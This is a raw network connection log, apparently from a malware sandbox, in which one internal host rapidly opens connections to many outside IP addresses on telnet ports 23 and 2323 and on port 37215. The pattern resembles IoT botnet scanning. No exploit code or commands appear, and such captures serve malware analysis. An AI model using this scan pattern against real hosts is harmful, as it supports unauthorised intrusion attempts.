Nov 3, 2024 15:33:06.082485914 CET	37215	49052	156.92.201.251	192.168.2.14
Nov 3, 2024 15:33:06.082488060 CET	60892	37215	192.168.2.14	156.15.87.232
Nov 3, 2024 15:33:06.082508087 CET	34488	37215	192.168.2.14	156.108.202.74
Nov 3, 2024 15:33:06.082509041 CET	37215	41472	41.36.128.154	192.168.2.14
Nov 3, 2024 15:33:06.082524061 CET	23	57220	151.18.215.125	192.168.2.14
Nov 3, 2024 15:33:06.082530022 CET	49052	37215	192.168.2.14	156.92.201.251
Nov 3, 2024 15:33:06.082547903 CET	23	60956	87.1.26.136	192.168.2.14
Nov 3, 2024 15:33:06.082552910 CET	41472	37215	192.168.2.14	41.36.128.154
Nov 3, 2024 15:33:06.082561970 CET	57220	23	192.168.2.14	151.18.215.125
Nov 3, 2024 15:33:06.082562923 CET	23	54222	208.25.183.113	192.168.2.14
Nov 3, 2024 15:33:06.082576990 CET	2323	36426	158.79.131.173	192.168.2.14
Nov 3, 2024 15:33:06.082587004 CET	60956	23	192.168.2.14	87.1.26.136
Nov 3, 2024 15:33:06.082590103 CET	23	39788	58.62.127.193	192.168.2.14
Nov 3, 2024 15:33:06.082595110 CET	54222	23	192.168.2.14	208.25.183.113
Nov 3, 2024 15:33:06.082603931 CET	37215	36812	197.243.145.35	192.168.2.14
Nov 3, 2024 15:33:06.082612038 CET	36426	2323	192.168.2.14	158.79.131.173
Nov 3, 2024 15:33:06.082619905 CET	39788	23	192.168.2.14	58.62.127.193
Nov 3, 2024 15:33:06.082623959 CET	23	52678	161.10.146.147	192.168.2.14
Nov 3, 2024 15:33:06.082645893 CET	37215	38874	156.60.212.11	192.168.2.14
Nov 3, 2024 15:33:06.082659006 CET	37215	48082	41.124.247.1	192.168.2.14
Nov 3, 2024 15:33:06.082663059 CET	36812	37215	192.168.2.14	197.243.145.35
Nov 3, 2024 15:33:06.082665920 CET	52678	23	192.168.2.14	161.10.146.147
Nov 3, 2024 15:33:06.082672119 CET	23	44486	221.95.166.59	192.168.2.14
Nov 3, 2024 15:33:06.082685947 CET	23	33980	126.240.3.98	192.168.2.14
Nov 3, 2024 15:33:06.082686901 CET	38874	37215	192.168.2.14	156.60.212.11
Nov 3, 2024 15:33:06.082700968 CET	23	57406	216.173.120.226	192.168.2.14
Nov 3, 2024 15:33:06.082703114 CET	48082	37215	192.168.2.14	41.124.247.1
Nov 3, 2024 15:33:06.082707882 CET	44486	23	192.168.2.14	221.95.166.59
Nov 3, 2024 15:33:06.082714081 CET	37215	37374	156.172.224.116	192.168.2.14
Nov 3, 2024 15:33:06.082727909 CET	37215	58804	41.141.233.240	192.168.2.14
Nov 3, 2024 15:33:06.082731962 CET	33980	23	192.168.2.14	126.240.3.98
Nov 3, 2024 15:33:06.082739115 CET	57406	23	192.168.2.14	216.173.120.226
Nov 3, 2024 15:33:06.082741976 CET	37215	50024	156.155.187.128	192.168.2.14
Nov 3, 2024 15:33:06.082762003 CET	37374	37215	192.168.2.14	156.172.224.116
Nov 3, 2024 15:33:06.082762957 CET	58804	37215	192.168.2.14	41.141.233.240
Nov 3, 2024 15:33:06.082791090 CET	50024	37215	192.168.2.14	156.155.187.128
Nov 3, 2024 15:33:06.082848072 CET	36686	37215	192.168.2.14	156.241.174.154
Nov 3, 2024 15:33:06.082848072 CET	36686	37215	192.168.2.14	156.241.174.154
Nov 3, 2024 15:33:06.083129883 CET	37238	37215	192.168.2.14	156.241.174.154
Nov 3, 2024 15:33:06.083507061 CET	37596	37215	192.168.2.14	41.84.4.103
Nov 3, 2024 15:33:06.083519936 CET	37596	37215	192.168.2.14	41.84.4.103
Nov 3, 2024 15:33:06.083784103 CET	38138	37215	192.168.2.14	41.84.4.103
Nov 3, 2024 15:33:06.084192038 CET	37374	37215	192.168.2.14	156.172.224.116
Nov 3, 2024 15:33:06.084192038 CET	37374	37215	192.168.2.14	156.172.224.116
Nov 3, 2024 15:33:06.084455013 CET	37956	37215	192.168.2.14	156.172.224.116
Nov 3, 2024 15:33:06.084796906 CET	48082	37215	192.168.2.14	41.124.247.1
Nov 3, 2024 15:33:06.084796906 CET	48082	37215	192.168.2.14	41.124.247.1
Nov 3, 2024 15:33:06.085093021 CET	48662	37215	192.168.2.14	41.124.247.1
Nov 3, 2024 15:33:06.085429907 CET	50024	37215	192.168.2.14	156.155.187.128
Nov 3, 2024 15:33:06.085429907 CET	50024	37215	192.168.2.14	156.155.187.128
Nov 3, 2024 15:33:06.085685968 CET	50602	37215	192.168.2.14	156.155.187.128
Nov 3, 2024 15:33:06.086021900 CET	58804	37215	192.168.2.14	41.141.233.240
Nov 3, 2024 15:33:06.086021900 CET	58804	37215	192.168.2.14	41.141.233.240
Nov 3, 2024 15:33:06.086287022 CET	59380	37215	192.168.2.14	41.141.233.240
Nov 3, 2024 15:33:06.086630106 CET	38874	37215	192.168.2.14	156.60.212.11
Nov 3, 2024 15:33:06.086630106 CET	38874	37215	192.168.2.14	156.60.212.11
Nov 3, 2024 15:33:06.086911917 CET	39448	37215	192.168.2.14	156.60.212.11
Nov 3, 2024 15:33:06.086913109 CET	37215	55194	156.58.247.152	192.168.2.14
Nov 3, 2024 15:33:06.086956024 CET	55194	37215	192.168.2.14	156.58.247.152
Nov 3, 2024 15:33:06.087129116 CET	23	57788	94.79.63.27	192.168.2.14
Nov 3, 2024 15:33:06.087157965 CET	37215	55194	156.58.247.152	192.168.2.14
Nov 3, 2024 15:33:06.087178946 CET	37215	55194	156.58.247.152	192.168.2.14
Nov 3, 2024 15:33:06.087193012 CET	57788	23	192.168.2.14	94.79.63.27
Nov 3, 2024 15:33:06.087193966 CET	23	48196	213.230.169.123	192.168.2.14
Nov 3, 2024 15:33:06.087274075 CET	37215	36686	156.241.174.154	192.168.2.14
Nov 3, 2024 15:33:06.087296009 CET	49052	37215	192.168.2.14	156.92.201.251
Nov 3, 2024 15:33:06.087296009 CET	49052	37215	192.168.2.14	156.92.201.251
Nov 3, 2024 15:33:06.087336063 CET	36686	37215	192.168.2.14	156.241.174.154
Nov 3, 2024 15:33:06.087353945 CET	37215	37596	41.84.4.103	192.168.2.14
Nov 3, 2024 15:33:06.087415934 CET	37596	37215	192.168.2.14	41.84.4.103
Nov 3, 2024 15:33:06.087455034 CET	23	42520	13.101.180.166	192.168.2.14
Nov 3, 2024 15:33:06.087721109 CET	37215	55720	156.58.247.152	192.168.2.14
Nov 3, 2024 15:33:06.087733984 CET	23	44620	216.202.115.113	192.168.2.14
Nov 3, 2024 15:33:06.087747097 CET	37215	38862	41.232.160.123	192.168.2.14
Nov 3, 2024 15:33:06.087764025 CET	55720	37215	192.168.2.14	156.58.247.152
Nov 3, 2024 15:33:06.087806940 CET	58326	23	192.168.2.14	94.79.63.27
Nov 3, 2024 15:33:06.087821007 CET	37215	60892	156.15.87.232	192.168.2.14
Nov 3, 2024 15:33:06.087843895 CET	37215	36686	156.241.174.154	192.168.2.14
Nov 3, 2024 15:33:06.087857008 CET	37215	34488	156.108.202.74	192.168.2.14
Nov 3, 2024 15:33:06.087869883 CET	37215	36686	156.241.174.154	192.168.2.14
Nov 3, 2024 15:33:06.087892056 CET	37215	49052	156.92.201.251	192.168.2.14
Nov 3, 2024 15:33:06.087913990 CET	49626	37215	192.168.2.14	156.92.201.251
Nov 3, 2024 15:33:06.087929964 CET	37215	41472	41.36.128.154	192.168.2.14
Nov 3, 2024 15:33:06.087937117 CET	49052	37215	192.168.2.14	156.92.201.251
Nov 3, 2024 15:33:06.088058949 CET	23	57220	151.18.215.125	192.168.2.14
Nov 3, 2024 15:33:06.088074923 CET	23	60956	87.1.26.136	192.168.2.14
Nov 3, 2024 15:33:06.088119984 CET	23	54222	208.25.183.113	192.168.2.14
Nov 3, 2024 15:33:06.088244915 CET	2323	36426	158.79.131.173	192.168.2.14
Nov 3, 2024 15:33:06.088277102 CET	23	39788	58.62.127.193	192.168.2.14
Nov 3, 2024 15:33:06.088320017 CET	37215	37238	156.241.174.154	192.168.2.14
Nov 3, 2024 15:33:06.088332891 CET	37215	37596	41.84.4.103	192.168.2.14
Nov 3, 2024 15:33:06.088352919 CET	37215	36812	197.243.145.35	192.168.2.14
Nov 3, 2024 15:33:06.088363886 CET	37238	37215	192.168.2.14	156.241.174.154
Nov 3, 2024 15:33:06.088407993 CET	23	52678	161.10.146.147	192.168.2.14
Nov 3, 2024 15:33:06.088524103 CET	37215	38874	156.60.212.11	192.168.2.14
Nov 3, 2024 15:33:06.088545084 CET	52678	23	192.168.2.14	161.10.146.147
Nov 3, 2024 15:33:06.088573933 CET	38874	37215	192.168.2.14	156.60.212.11
Nov 3, 2024 15:33:06.088624954 CET	37215	48082	41.124.247.1	192.168.2.14
Nov 3, 2024 15:33:06.088639975 CET	37215	37596	41.84.4.103	192.168.2.14
Nov 3, 2024 15:33:06.088654995 CET	37215	38138	41.84.4.103	192.168.2.14
Nov 3, 2024 15:33:06.088666916 CET	48082	37215	192.168.2.14	41.124.247.1
Nov 3, 2024 15:33:06.088668108 CET	23	44486	221.95.166.59	192.168.2.14
Nov 3, 2024 15:33:06.088695049 CET	38138	37215	192.168.2.14	41.84.4.103
Nov 3, 2024 15:33:06.088731050 CET	60892	37215	192.168.2.14	156.15.87.232
Nov 3, 2024 15:33:06.088732004 CET	23	33980	126.240.3.98	192.168.2.14
Nov 3, 2024 15:33:06.088731050 CET	60892	37215	192.168.2.14	156.15.87.232
Nov 3, 2024 15:33:06.088789940 CET	23	57406	216.173.120.226	192.168.2.14
Nov 3, 2024 15:33:06.088918924 CET	37215	37374	156.172.224.116	192.168.2.14
Nov 3, 2024 15:33:06.088964939 CET	44486	23	192.168.2.14	221.95.166.59
Nov 3, 2024 15:33:06.088965893 CET	60956	23	192.168.2.14	87.1.26.136
Nov 3, 2024 15:33:06.088965893 CET	57220	23	192.168.2.14	151.18.215.125
Nov 3, 2024 15:33:06.088967085 CET	36426	2323	192.168.2.14	158.79.131.173
Nov 3, 2024 15:33:06.088968039 CET	36812	37215	192.168.2.14	197.243.145.35
Nov 3, 2024 15:33:06.088969946 CET	39788	23	192.168.2.14	58.62.127.193
Nov 3, 2024 15:33:06.088969946 CET	54222	23	192.168.2.14	208.25.183.113
Nov 3, 2024 15:33:06.088980913 CET	41472	37215	192.168.2.14	41.36.128.154
Nov 3, 2024 15:33:06.088982105 CET	42520	23	192.168.2.14	13.101.180.166
Nov 3, 2024 15:33:06.088983059 CET	44620	23	192.168.2.14	216.202.115.113
Nov 3, 2024 15:33:06.088985920 CET	57406	23	192.168.2.14	216.173.120.226
Nov 3, 2024 15:33:06.088985920 CET	38862	37215	192.168.2.14	41.232.160.123
Nov 3, 2024 15:33:06.088985920 CET	34488	37215	192.168.2.14	156.108.202.74
Nov 3, 2024 15:33:06.088985920 CET	37374	37215	192.168.2.14	156.172.224.116
Nov 3, 2024 15:33:06.088989973 CET	48196	23	192.168.2.14	213.230.169.123
Nov 3, 2024 15:33:06.088992119 CET	33980	23	192.168.2.14	126.240.3.98
Nov 3, 2024 15:33:06.089003086 CET	37215	58804	41.141.233.240	192.168.2.14
Nov 3, 2024 15:33:06.089041948 CET	37215	37374	156.172.224.116	192.168.2.14
Nov 3, 2024 15:33:06.089054108 CET	37215	50024	156.155.187.128	192.168.2.14
Nov 3, 2024 15:33:06.089056015 CET	58804	37215	192.168.2.14	41.141.233.240
Nov 3, 2024 15:33:06.089091063 CET	50024	37215	192.168.2.14	156.155.187.128
Nov 3, 2024 15:33:06.089167118 CET	37215	37374	156.172.224.116	192.168.2.14
Nov 3, 2024 15:33:06.089236021 CET	53268	23	192.168.2.14	161.10.146.147
Nov 3, 2024 15:33:06.089296103 CET	37215	37956	156.172.224.116	192.168.2.14
Nov 3, 2024 15:33:06.089332104 CET	33226	37215	192.168.2.14	156.15.87.232
Nov 3, 2024 15:33:06.089348078 CET	37956	37215	192.168.2.14	156.172.224.116
Nov 3, 2024 15:33:06.089540958 CET	37215	48082	41.124.247.1	192.168.2.14
Nov 3, 2024 15:33:06.089679956 CET	37215	48082	41.124.247.1	192.168.2.14
Nov 3, 2024 15:33:06.089832067 CET	37215	48662	41.124.247.1	192.168.2.14
Nov 3, 2024 15:33:06.089874983 CET	48662	37215	192.168.2.14	41.124.247.1
Nov 3, 2024 15:33:06.089947939 CET	39788	23	192.168.2.14	58.62.127.193
Nov 3, 2024 15:33:06.090137959 CET	36812	37215	192.168.2.14	197.243.145.35
Nov 3, 2024 15:33:06.090137959 CET	36812	37215	192.168.2.14	197.243.145.35
Nov 3, 2024 15:33:06.090177059 CET	37215	50024	156.155.187.128	192.168.2.14
Nov 3, 2024 15:33:06.090262890 CET	37215	50024	156.155.187.128	192.168.2.14
Nov 3, 2024 15:33:06.090456963 CET	37215	50602	156.155.187.128	192.168.2.14
Nov 3, 2024 15:33:06.090498924 CET	50602	37215	192.168.2.14	156.155.187.128
Nov 3, 2024 15:33:06.090639114 CET	40374	23	192.168.2.14	58.62.127.193
Nov 3, 2024 15:33:06.090836048 CET	37215	58804	41.141.233.240	192.168.2.14
Nov 3, 2024 15:33:06.090847015 CET	37380	37215	192.168.2.14	197.243.145.35
Nov 3, 2024 15:33:06.090893984 CET	37215	58804	41.141.233.240	192.168.2.14
Nov 3, 2024 15:33:06.091145992 CET	37215	59380	41.141.233.240	192.168.2.14
Nov 3, 2024 15:33:06.091192961 CET	59380	37215	192.168.2.14	41.141.233.240
Nov 3, 2024 15:33:06.091453075 CET	54222	23	192.168.2.14	208.25.183.113
Nov 3, 2024 15:33:06.091458082 CET	37215	38874	156.60.212.11	192.168.2.14
Nov 3, 2024 15:33:06.091598034 CET	41472	37215	192.168.2.14	41.36.128.154
Nov 3, 2024 15:33:06.091598034 CET	41472	37215	192.168.2.14	41.36.128.154
Nov 3, 2024 15:33:06.091686010 CET	37215	38874	156.60.212.11	192.168.2.14
Nov 3, 2024 15:33:06.091701031 CET	37215	39448	156.60.212.11	192.168.2.14
Nov 3, 2024 15:33:06.091730118 CET	39448	37215	192.168.2.14	156.60.212.11
Nov 3, 2024 15:33:06.091814041 CET	37215	55194	156.58.247.152	192.168.2.14
Nov 3, 2024 15:33:06.091967106 CET	23	57788	94.79.63.27	192.168.2.14
Nov 3, 2024 15:33:06.092103958 CET	37215	49052	156.92.201.251	192.168.2.14
Nov 3, 2024 15:33:06.092156887 CET	37215	49052	156.92.201.251	192.168.2.14
Nov 3, 2024 15:33:06.092206955 CET	37215	36686	156.241.174.154	192.168.2.14
Nov 3, 2024 15:33:06.092223883 CET	54802	23	192.168.2.14	208.25.183.113
Nov 3, 2024 15:33:06.092258930 CET	37215	37596	41.84.4.103	192.168.2.14
Nov 3, 2024 15:33:06.092328072 CET	42034	37215	192.168.2.14	41.36.128.154
Nov 3, 2024 15:33:06.092700958 CET	23	58326	94.79.63.27	192.168.2.14
Nov 3, 2024 15:33:06.092715979 CET	37215	49626	156.92.201.251	192.168.2.14
Nov 3, 2024 15:33:06.092746019 CET	58326	23	192.168.2.14	94.79.63.27
Nov 3, 2024 15:33:06.092767954 CET	49626	37215	192.168.2.14	156.92.201.251
Nov 3, 2024 15:33:06.092796087 CET	37215	49052	156.92.201.251	192.168.2.14
Nov 3, 2024 15:33:06.092809916 CET	37215	55720	156.58.247.152	192.168.2.14
Nov 3, 2024 15:33:06.092977047 CET	55720	37215	192.168.2.14	156.58.247.152
Nov 3, 2024 15:33:06.093034983 CET	36426	2323	192.168.2.14	158.79.131.173
Nov 3, 2024 15:33:06.093138933 CET	34488	37215	192.168.2.14	156.108.202.74
Nov 3, 2024 15:33:06.093138933 CET	34488	37215	192.168.2.14	156.108.202.74
Nov 3, 2024 15:33:06.093194008 CET	37215	37238	156.241.174.154	192.168.2.14
Nov 3, 2024 15:33:06.093278885 CET	23	52678	161.10.146.147	192.168.2.14
Nov 3, 2024 15:33:06.093301058 CET	37215	38874	156.60.212.11	192.168.2.14
Nov 3, 2024 15:33:06.093350887 CET	37215	48082	41.124.247.1	192.168.2.14
Nov 3, 2024 15:33:06.093497992 CET	37215	38138	41.84.4.103	192.168.2.14
Nov 3, 2024 15:33:06.093653917 CET	37215	60892	156.15.87.232	192.168.2.14
Nov 3, 2024 15:33:06.093666077 CET	37215	60892	156.15.87.232	192.168.2.14
Nov 3, 2024 15:33:06.093746901 CET	37006	2323	192.168.2.14	158.79.131.173
Nov 3, 2024 15:33:06.093943119 CET	35050	37215	192.168.2.14	156.108.202.74
Nov 3, 2024 15:33:06.094043016 CET	37215	37374	156.172.224.116	192.168.2.14
Nov 3, 2024 15:33:06.094057083 CET	37215	58804	41.141.233.240	192.168.2.14
Nov 3, 2024 15:33:06.094070911 CET	37215	50024	156.155.187.128	192.168.2.14
Nov 3, 2024 15:33:06.094084978 CET	23	53268	161.10.146.147	192.168.2.14
Nov 3, 2024 15:33:06.094119072 CET	53268	23	192.168.2.14	161.10.146.147
Nov 3, 2024 15:33:06.094149113 CET	37215	33226	156.15.87.232	192.168.2.14
Nov 3, 2024 15:33:06.094193935 CET	33226	37215	192.168.2.14	156.15.87.232
Nov 3, 2024 15:33:06.094230890 CET	37215	37956	156.172.224.116	192.168.2.14
Nov 3, 2024 15:33:06.094572067 CET	44620	23	192.168.2.14	216.202.115.113
Nov 3, 2024 15:33:06.094671965 CET	38862	37215	192.168.2.14	41.232.160.123
Nov 3, 2024 15:33:06.094671965 CET	38862	37215	192.168.2.14	41.232.160.123
Nov 3, 2024 15:33:06.094774961 CET	23	39788	58.62.127.193	192.168.2.14
Nov 3, 2024 15:33:06.094789028 CET	37215	48662	41.124.247.1	192.168.2.14
Nov 3, 2024 15:33:06.094937086 CET	37215	36812	197.243.145.35	192.168.2.14
Nov 3, 2024 15:33:06.094952106 CET	37215	36812	197.243.145.35	192.168.2.14
Nov 3, 2024 15:33:06.095174074 CET	45202	23	192.168.2.14	216.202.115.113
Nov 3, 2024 15:33:06.095266104 CET	39420	37215	192.168.2.14	41.232.160.123
Nov 3, 2024 15:33:06.095304012 CET	37215	50602	156.155.187.128	192.168.2.14
Nov 3, 2024 15:33:06.095361948 CET	23	40374	58.62.127.193	192.168.2.14
Nov 3, 2024 15:33:06.095410109 CET	40374	23	192.168.2.14	58.62.127.193
Nov 3, 2024 15:33:06.095551014 CET	37215	37380	197.243.145.35	192.168.2.14
Nov 3, 2024 15:33:06.095618010 CET	37380	37215	192.168.2.14	197.243.145.35
Nov 3, 2024 15:33:06.096003056 CET	60956	23	192.168.2.14	87.1.26.136
Nov 3, 2024 15:33:06.096010923 CET	37215	59380	41.141.233.240	192.168.2.14
Nov 3, 2024 15:33:06.096159935 CET	23	54222	208.25.183.113	192.168.2.14
Nov 3, 2024 15:33:06.096230984 CET	37956	37215	192.168.2.14	156.172.224.116
Nov 3, 2024 15:33:06.096230984 CET	48662	37215	192.168.2.14	41.124.247.1
Nov 3, 2024 15:33:06.096230984 CET	50602	37215	192.168.2.14	156.155.187.128
Nov 3, 2024 15:33:06.096232891 CET	59380	37215	192.168.2.14	41.141.233.240
Nov 3, 2024 15:33:06.096236944 CET	39448	37215	192.168.2.14	156.60.212.11
Nov 3, 2024 15:33:06.096256971 CET	33226	37215	192.168.2.14	156.15.87.232
Nov 3, 2024 15:33:06.096260071 CET	49626	37215	192.168.2.14	156.92.201.251
Nov 3, 2024 15:33:06.096261978 CET	37238	37215	192.168.2.14	156.241.174.154
Nov 3, 2024 15:33:06.096283913 CET	37380	37215	192.168.2.14	197.243.145.35
Nov 3, 2024 15:33:06.096285105 CET	38138	37215	192.168.2.14	41.84.4.103
Nov 3, 2024 15:33:06.096286058 CET	55720	37215	192.168.2.14	156.58.247.152
Nov 3, 2024 15:33:06.096394062 CET	37215	41472	41.36.128.154	192.168.2.14
Nov 3, 2024 15:33:06.096482038 CET	37215	41472	41.36.128.154	192.168.2.14
Nov 3, 2024 15:33:06.096487999 CET	33304	23	192.168.2.14	87.1.26.136
Nov 3, 2024 15:33:06.096570969 CET	37215	39448	156.60.212.11	192.168.2.14
Nov 3, 2024 15:33:06.096616030 CET	39448	37215	192.168.2.14	156.60.212.11
Nov 3, 2024 15:33:06.096893072 CET	57220	23	192.168.2.14	151.18.215.125
Nov 3, 2024 15:33:06.097089052 CET	23	54802	208.25.183.113	192.168.2.14
Nov 3, 2024 15:33:06.097103119 CET	37215	42034	41.36.128.154	192.168.2.14
Nov 3, 2024 15:33:06.097136021 CET	54802	23	192.168.2.14	208.25.183.113
Nov 3, 2024 15:33:06.097146034 CET	42034	37215	192.168.2.14	41.36.128.154
Nov 3, 2024 15:33:06.097181082 CET	42034	37215	192.168.2.14	41.36.128.154
Nov 3, 2024 15:33:06.097218037 CET	57798	23	192.168.2.14	151.18.215.125
Nov 3, 2024 15:33:06.097630978 CET	42520	23	192.168.2.14	13.101.180.166
Nov 3, 2024 15:33:06.097860098 CET	37215	49626	156.92.201.251	192.168.2.14
Nov 3, 2024 15:33:06.097908020 CET	2323	36426	158.79.131.173	192.168.2.14
Nov 3, 2024 15:33:06.097908974 CET	49626	37215	192.168.2.14	156.92.201.251
Nov 3, 2024 15:33:06.097923994 CET	37215	34488	156.108.202.74	192.168.2.14
Nov 3, 2024 15:33:06.097960949 CET	37215	34488	156.108.202.74	192.168.2.14
Nov 3, 2024 15:33:06.097982883 CET	43098	23	192.168.2.14	13.101.180.166
Nov 3, 2024 15:33:06.098376036 CET	48196	23	192.168.2.14	213.230.169.123
Nov 3, 2024 15:33:06.098716021 CET	48766	23	192.168.2.14	213.230.169.123
Nov 3, 2024 15:33:06.098761082 CET	2323	37006	158.79.131.173	192.168.2.14
Nov 3, 2024 15:33:06.098773956 CET	37215	35050	156.108.202.74	192.168.2.14
Nov 3, 2024 15:33:06.098803043 CET	37006	2323	192.168.2.14	158.79.131.173
Nov 3, 2024 15:33:06.098867893 CET	35050	37215	192.168.2.14	156.108.202.74
Nov 3, 2024 15:33:06.098867893 CET	35050	37215	192.168.2.14	156.108.202.74
Nov 3, 2024 15:33:06.099004030 CET	23	53268	161.10.146.147	192.168.2.14
Nov 3, 2024 15:33:06.099119902 CET	37215	33226	156.15.87.232	192.168.2.14
Nov 3, 2024 15:33:06.099205971 CET	44486	23	192.168.2.14	221.95.166.59
Nov 3, 2024 15:33:06.099216938 CET	33226	37215	192.168.2.14	156.15.87.232
Nov 3, 2024 15:33:06.099359035 CET	23	44620	216.202.115.113	192.168.2.14
Nov 3, 2024 15:33:06.099395037 CET	37215	38862	41.232.160.123	192.168.2.14
Nov 3, 2024 15:33:06.099467039 CET	37215	38862	41.232.160.123	192.168.2.14
Nov 3, 2024 15:33:06.099535942 CET	45112	23	192.168.2.14	221.95.166.59
Nov 3, 2024 15:33:06.099982977 CET	33980	23	192.168.2.14	126.240.3.98
Nov 3, 2024 15:33:06.099983931 CET	23	45202	216.202.115.113	192.168.2.14
Nov 3, 2024 15:33:06.100028038 CET	45202	23	192.168.2.14	216.202.115.113
Nov 3, 2024 15:33:06.100064993 CET	37215	39420	41.232.160.123	192.168.2.14
Nov 3, 2024 15:33:06.100143909 CET	39420	37215	192.168.2.14	41.232.160.123
Nov 3, 2024 15:33:06.100143909 CET	39420	37215	192.168.2.14	41.232.160.123
Nov 3, 2024 15:33:06.100224018 CET	23	40374	58.62.127.193	192.168.2.14
Nov 3, 2024 15:33:06.100311995 CET	34596	23	192.168.2.14	126.240.3.98
Nov 3, 2024 15:33:06.100398064 CET	37215	37380	197.243.145.35	192.168.2.14
Nov 3, 2024 15:33:06.100441933 CET	37380	37215	192.168.2.14	197.243.145.35
Nov 3, 2024 15:33:06.100742102 CET	23	60956	87.1.26.136	192.168.2.14
Nov 3, 2024 15:33:06.100744009 CET	57406	23	192.168.2.14	216.173.120.226
Nov 3, 2024 15:33:06.100960016 CET	53268	23	192.168.2.14	161.10.146.147
Nov 3, 2024 15:33:06.101073980 CET	37215	59380	41.141.233.240	192.168.2.14
Nov 3, 2024 15:33:06.101084948 CET	58016	23	192.168.2.14	216.173.120.226
Nov 3, 2024 15:33:06.101089001 CET	37215	37956	156.172.224.116	192.168.2.14
Nov 3, 2024 15:33:06.101102114 CET	37215	48662	41.124.247.1	192.168.2.14
Nov 3, 2024 15:33:06.101116896 CET	37215	50602	156.155.187.128	192.168.2.14
Nov 3, 2024 15:33:06.101134062 CET	37215	39448	156.60.212.11	192.168.2.14
Nov 3, 2024 15:33:06.101155043 CET	37215	33226	156.15.87.232	192.168.2.14
Nov 3, 2024 15:33:06.101169109 CET	37215	49626	156.92.201.251	192.168.2.14
Nov 3, 2024 15:33:06.101200104 CET	37215	37238	156.241.174.154	192.168.2.14
Nov 3, 2024 15:33:06.101212978 CET	37215	37380	197.243.145.35	192.168.2.14
Nov 3, 2024 15:33:06.101227045 CET	37215	38138	41.84.4.103	192.168.2.14
Nov 3, 2024 15:33:06.101246119 CET	37215	55720	156.58.247.152	192.168.2.14
Nov 3, 2024 15:33:06.101259947 CET	23	33304	87.1.26.136	192.168.2.14
Nov 3, 2024 15:33:06.101299047 CET	33304	23	192.168.2.14	87.1.26.136
Nov 3, 2024 15:33:06.101514101 CET	53268	23	192.168.2.14	161.10.146.147
Nov 3, 2024 15:33:06.101619005 CET	23	57220	151.18.215.125	192.168.2.14
Nov 3, 2024 15:33:06.101835966 CET	53302	23	192.168.2.14	161.10.146.147
Nov 3, 2024 15:33:06.101983070 CET	23	57798	151.18.215.125	192.168.2.14
Nov 3, 2024 15:33:06.102041006 CET	57798	23	192.168.2.14	151.18.215.125
Nov 3, 2024 15:33:06.102092028 CET	23	54802	208.25.183.113	192.168.2.14
Nov 3, 2024 15:33:06.102104902 CET	37215	42034	41.36.128.154	192.168.2.14
Nov 3, 2024 15:33:06.102144003 CET	42034	37215	192.168.2.14	41.36.128.154
Nov 3, 2024 15:33:06.102237940 CET	40374	23	192.168.2.14	58.62.127.193
Nov 3, 2024 15:33:06.102365971 CET	23	42520	13.101.180.166	192.168.2.14
Nov 3, 2024 15:33:06.102530003 CET	40406	23	192.168.2.14	58.62.127.193
Nov 3, 2024 15:33:06.102684021 CET	23	43098	13.101.180.166	192.168.2.14
Nov 3, 2024 15:33:06.102737904 CET	43098	23	192.168.2.14	13.101.180.166
Nov 3, 2024 15:33:06.102960110 CET	54802	23	192.168.2.14	208.25.183.113
Nov 3, 2024 15:33:06.103095055 CET	23	48196	213.230.169.123	192.168.2.14
Nov 3, 2024 15:33:06.103282928 CET	54832	23	192.168.2.14	208.25.183.113
Nov 3, 2024 15:33:06.103600025 CET	23	48766	213.230.169.123	192.168.2.14
Nov 3, 2024 15:33:06.103642941 CET	48766	23	192.168.2.14	213.230.169.123
Nov 3, 2024 15:33:06.103823900 CET	2323	37006	158.79.131.173	192.168.2.14
Nov 3, 2024 15:33:06.103918076 CET	37006	2323	192.168.2.14	158.79.131.173
Nov 3, 2024 15:33:06.103929996 CET	37215	35050	156.108.202.74	192.168.2.14
Nov 3, 2024 15:33:06.103977919 CET	35050	37215	192.168.2.14	156.108.202.74
Nov 3, 2024 15:33:06.104036093 CET	23	44486	221.95.166.59	192.168.2.14
Nov 3, 2024 15:33:06.104228973 CET	37034	2323	192.168.2.14	158.79.131.173
Nov 3, 2024 15:33:06.104283094 CET	23	45112	221.95.166.59	192.168.2.14
Nov 3, 2024 15:33:06.104329109 CET	45112	23	192.168.2.14	221.95.166.59
Nov 3, 2024 15:33:06.104790926 CET	23	33980	126.240.3.98	192.168.2.14
Nov 3, 2024 15:33:06.105025053 CET	23	45202	216.202.115.113	192.168.2.14
Nov 3, 2024 15:33:06.105068922 CET	23	34596	126.240.3.98	192.168.2.14
Nov 3, 2024 15:33:06.105098009 CET	45202	23	192.168.2.14	216.202.115.113
Nov 3, 2024 15:33:06.105123997 CET	34596	23	192.168.2.14	126.240.3.98
Nov 3, 2024 15:33:06.105411053 CET	45228	23	192.168.2.14	216.202.115.113
Nov 3, 2024 15:33:06.105428934 CET	37215	39420	41.232.160.123	192.168.2.14
Nov 3, 2024 15:33:06.105468035 CET	23	57406	216.173.120.226	192.168.2.14
Nov 3, 2024 15:33:06.105474949 CET	39420	37215	192.168.2.14	41.232.160.123
Nov 3, 2024 15:33:06.105961084 CET	23	58016	216.173.120.226	192.168.2.14
Nov 3, 2024 15:33:06.106048107 CET	58016	23	192.168.2.14	216.173.120.226
Nov 3, 2024 15:33:06.106159925 CET	23	33304	87.1.26.136	192.168.2.14
Nov 3, 2024 15:33:06.106247902 CET	23	53268	161.10.146.147	192.168.2.14
Nov 3, 2024 15:33:06.106250048 CET	33304	23	192.168.2.14	87.1.26.136
Nov 3, 2024 15:33:06.106539965 CET	33328	23	192.168.2.14	87.1.26.136
Nov 3, 2024 15:33:06.106601000 CET	23	53302	161.10.146.147	192.168.2.14
Nov 3, 2024 15:33:06.106658936 CET	53302	23	192.168.2.14	161.10.146.147
Nov 3, 2024 15:33:06.106906891 CET	23	57798	151.18.215.125	192.168.2.14
Nov 3, 2024 15:33:06.106967926 CET	23	40374	58.62.127.193	192.168.2.14
Nov 3, 2024 15:33:06.107038975 CET	57798	23	192.168.2.14	151.18.215.125
Nov 3, 2024 15:33:06.107259035 CET	23	40406	58.62.127.193	192.168.2.14
Nov 3, 2024 15:33:06.107300997 CET	40406	23	192.168.2.14	58.62.127.193
Nov 3, 2024 15:33:06.107348919 CET	57822	23	192.168.2.14	151.18.215.125
Nov 3, 2024 15:33:06.107578993 CET	23	43098	13.101.180.166	192.168.2.14
Nov 3, 2024 15:33:06.107788086 CET	23	54802	208.25.183.113	192.168.2.14
Nov 3, 2024 15:33:06.107805967 CET	43098	23	192.168.2.14	13.101.180.166
Nov 3, 2024 15:33:06.108087063 CET	23	54832	208.25.183.113	192.168.2.14
Nov 3, 2024 15:33:06.108098030 CET	43122	23	192.168.2.14	13.101.180.166
